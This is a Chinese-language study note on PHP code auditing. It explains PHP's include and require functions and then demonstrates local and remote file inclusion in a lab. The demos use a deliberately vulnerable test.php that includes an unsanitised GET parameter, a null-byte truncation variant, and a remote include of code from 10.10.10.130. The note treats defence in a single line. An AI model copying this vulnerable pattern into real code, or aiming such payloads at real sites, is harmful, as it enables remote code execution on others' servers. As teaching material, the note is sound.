本文记录 PHP 代码审计的学习过程,教程为暗月 2015 版的 PHP 代码审计课程
1. 简介
在PHP 中,有四个用于包含文件的函数,当使用这些函数包含文件时,文件中包含的 PHP 代码会被执行。下面对它们之间的区别进行解释:
- include():当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
- include_once():功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次。
- require():
- require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
- 使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到该函数时才调用。
- require_once():它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
2. 本地文件包含漏洞演示
示例一:
新建文档 1.txt:
<?php phpinfo(); ?>
新建 php 页面 test.php:
<?php if(isset($_GET['file'])){ $file=$_GET['file']; include $file; } ?>
浏览器执行 http://127.0.0.1/test.php?file=1.txt
结果显示 phpinfo() 页面
示例二:
新建文档 1.txt:
<?php phpinfo(); ?>
新建 php 页面 test.php:
<?php if(isset($_GET['file'])){ $file=$_GET['file']; include $file; } ?>
浏览器执行 http://127.0.0.1/test.php?file=1.txt%00
结果显示 phpinfo() 页面
3. 远程文件包含漏洞演示
在 php.ini 中设置
allow_url_fopen On
allow_url_include On示例一:
远程主机 10.10.10.130 新建文档 /var/www/123.txt:
<?php phpinfo(); ?>
本机新建 php 页面 test.php:
<?php if(isset($_GET['file'])){ $file=$_GET['file']; include $file; } ?>
浏览器执行 http://127.0.0.1/test.php?file=http://10.10.10.130/123.txt
结果显示 phpinfo() 页面
4. 防御
DVWA 中使用的是白名单机制